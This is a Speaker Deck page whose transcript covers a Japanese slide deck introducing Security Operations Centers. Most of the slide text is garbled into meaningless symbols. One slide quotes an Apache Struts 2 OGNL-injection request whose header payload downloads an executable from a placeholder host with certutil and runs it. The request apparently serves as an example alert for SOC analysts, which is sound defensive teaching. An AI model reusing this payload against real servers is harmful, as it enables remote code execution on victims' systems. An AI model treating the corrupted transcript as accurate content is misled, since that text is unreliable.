Upgrade to Pro — share decks privately, control downloads, hide ads and more …

SOCって何_公開用_-圧縮済み.pdf

sec-chick
March 27, 2019

 SOCって何_公開用_-圧縮済み.pdf

sec-chick

March 27, 2019
Tweet

More Decks by sec-chick

Other Decks in Science

Transcript

  1. *9<4 ´ /+ sec-chick@one_sec_chick   : ´ 5) #&',-

     .1PSOC '  ´ =7 "!%8630;2($
  2. SOC  <8 -. Security Operation Center > )7 WAFIDS/IPS%&

    =2! '3(04/$?"1/:5,;*9 +6 <804/$? ,; <8# SOC
  3. SOC 7  ´ -. 9546  '+%0 ´ :831,

    2/($*-.#" 95&; :8 -.  :8)< 2/(  95&; :8! SOC
  4.    ´    GET /struts2-rest-showcase/orders.xhtml HTTP/1.1

    Connection: Keep-Alive..Content-Type: %{(#nike='multipart/form- data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_member Access?(#_memberAccess=#dm):  (#cmd='cmd.exe /c certutil.exe -urlcache -split -f hxxp://xxx.xxx.com/download.exe C:/Windows/temp/fexbxidrwkqkbyt9335.exe & cmd.exe /c C:/Windows/temp/fexbxidrwkqkbyt9335.exe').(#iswin=(@java.lang.System@ getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process= #p.start()).  Accept: */*..Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: hogehoge.com:82
  5. '50;hgd! ´ SOC & %WR "a_  WR 1. -/.-,1]

     400\T$a_ [Z#YUM ? 2. jQ]%V#  Apache Struts 2 keM%bDO# jQApache Struts 2 %PG $a_HNC 3. L@DO=>  EBa_L@ "36)*'%(8-06# a_ Nf"L@DO =># c^ %WR:Ja_# WR ;h#IAa_<F 27+548+ DO270,6i9S` XK
  6. SOC)2 ´  ,*     )21. SOC

     4/3 0'$ +5  SOC'$+5) " &(#%(!$-
  7. SOCqx ´ < SISOC58+63(HI)SOC@x ´ SISOCV tp(fjHISOC „O tp(u`fj SISOC

     tp)83(fjCdXv SINnchfj/@ V tpzMSLA( F!$ 1;eK$)83V Y Z])83ƒ" tpJ] 24DE365;_L$ IDS/IPSWAF)83(Z] $Nn(fj$ Y HISOCg$orP 58+63(HI)SOC Ck tp (fj$ 1,792*I{ HI\W"^€)83(@ aQdys%.4 TlI|R?' ADFW5:,/"fj $& Y wGmys"Ck$ Y JiJ#>UDE$A?"$ Z]SISOCg‚b! u~=(}[ !-03B
  8. @SOC>-  ´ 56 )#+%#73 ´ $!'56B1,  &$!'73 ´

    ?=.849 ´ etc,etc……. ´ (*"2<:;//C0A 
  9.  ´ SOCSecurity Operation Center b$ )+%=T WAFIDS/IPS 01 *&aL,!

    3M4JN/.c-KI[PB\ ´ SOC$ )+%'+#&>7^W/:9A VBUDYF*&.c;H ´ @6SOC_< ZU*&JN (IDS/IPS,WAF C`O ´ 56SOCd? ZURQ[GJN/.c ]4S^WN82AD(, "FWXE*& ,!JN